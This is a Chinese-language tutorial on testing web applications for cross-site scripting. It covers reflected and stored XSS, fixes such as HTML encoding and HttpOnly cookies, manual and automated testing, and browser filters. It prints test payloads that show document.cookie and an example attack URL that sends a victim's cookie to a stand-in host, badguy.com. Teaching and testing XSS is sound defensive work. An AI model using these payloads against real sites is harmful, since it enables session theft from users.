Web安全测试之XSS

假如有下面一个textboxinput typetext nameaddress1 valuevalue1fromvalue1from是来自用户的输入如果用户不是输入value1from,而是输入 /scriptalert(document.cookie)/script!- 那么就会变成input typetext nameaddress1 value/scriptalert(document.cookie)/script!- 嵌入的JavaScript代码将会被执行或者用户输入的是 onfocusalert(document.cookie) 那么就会变成input typetext nameaddress1 value onfocusalert(document.cookie)事件被触发的时候嵌入的JavaScript代码将会被执行攻击的威力取决于用户输入了什么样的脚本当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图HTML EncodeXSS之所以会发生 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的中括号 “单引号”“引号” 之类的特殊字符进行编码。在C#中已经提供了现成的方法只要调用HttpUtility.HtmlEncode(string scritp) 就可以了。 需要引用System.Web程序集Fiddler中也提供了很方便的工具, 点击Toolbar上的TextWizard 按钮XSS 攻击场景1. Dom-Based XSS 漏洞 攻击过程如下Tom 发现了Victim.com中的一个页面有XSS漏洞例如: http://victim.com/search.asp?termapple服务器中Search.asp 页面的代码大概如下html title/title body Results for %Reequest.QueryString(term)% ... /body /htmlTom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件QQ)发给Monicahttp://victim.com/search.asp?termscriptwindow.open(http://badguy.com?cookiedocument.cookie)/scriptMonica点击了这个URL 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞攻击者将攻击脚本上传到Web服务器上使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下Alex发现了网站A上有一个XSS 漏洞该漏洞允许将攻击代码保存在数据库中Alex发布了一篇文章文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行其会话cookie或者其他信息将被Alex盗走。Dom-Based XSS漏洞威胁用户个体而存储式XSS漏洞所威胁的对象将是大量的用户.XSS 漏洞修复原则 不相信客户输入的数据注意: 攻击代码不一定在script/script中将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.只允许用户输入我们期望的数据。 例如 年龄的textbox中只允许用户输入数字。 而数字之外的字符都过滤掉。对数据进行Html Encode 处理过滤或移除特殊的Html标签 例如: script, iframe , lt; for , gt; for , quot for过滤JavaScript 事件的标签。例如 onclick, onfocus 等等。如何测试XSS漏洞方法一 查看代码查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单以及cookie. 例如在ASP的程序中通过Request对象获取客户端的变量% strUserCode Request.QueryString(“code”); strUser Request.Form(“USER”); strID Request.Cookies(“ID”); %假如变量没有经过htmlEncode处理 那么这个变量就存在一个XSS漏洞方法二 准备测试脚本/scriptalert(document.cookie)/script!-- scriptalert(document.cookie)/script!-- onclickalert(document.cookie)在网页中的Textbox或者其他能输入数据的地方输入这些测试脚本 看能不能弹出对话框能弹出的话说明存在XSS漏洞在URL中查看有那些变量通过URL把值传给Web服务器 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行方法三: 自动化测试XSS漏洞现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中我们的XSS测试脚本是否已经注入进去了。HTML Encode 和URL Encode的区别刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。HTML编码前面已经介绍过了关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。例如在baidu中搜索测试汉字。 URL会变成http://www.baidu.com/s?wd%B2%E2%CA%D4%BA%BA%D7%D6rsv_bp0rsv_spt3inputT7477所谓URL编码就是 把所有非字母数字字符都将被替换成百分号%后跟两位十六进制数空格则编码为加号在C#中已经提供了现成的方法只要调用HttpUtility.UrlEncode(string scritp) 就可以了。 需要引用System.Web程序集Fiddler中也提供了很方便的工具, 点击Toolbar上的TextWizard 按钮浏览器中的XSS过滤器为了防止发生XSS 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8IE9Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图如果需要做测试 最好使用IE7。ASP.NET中的XSS安全机制ASP.NET中有防范XSS的机制对提交的表单会自动检查是否存在XSS当用户试图输入XSS代码的时候ASP.NET会抛出一个错误如下图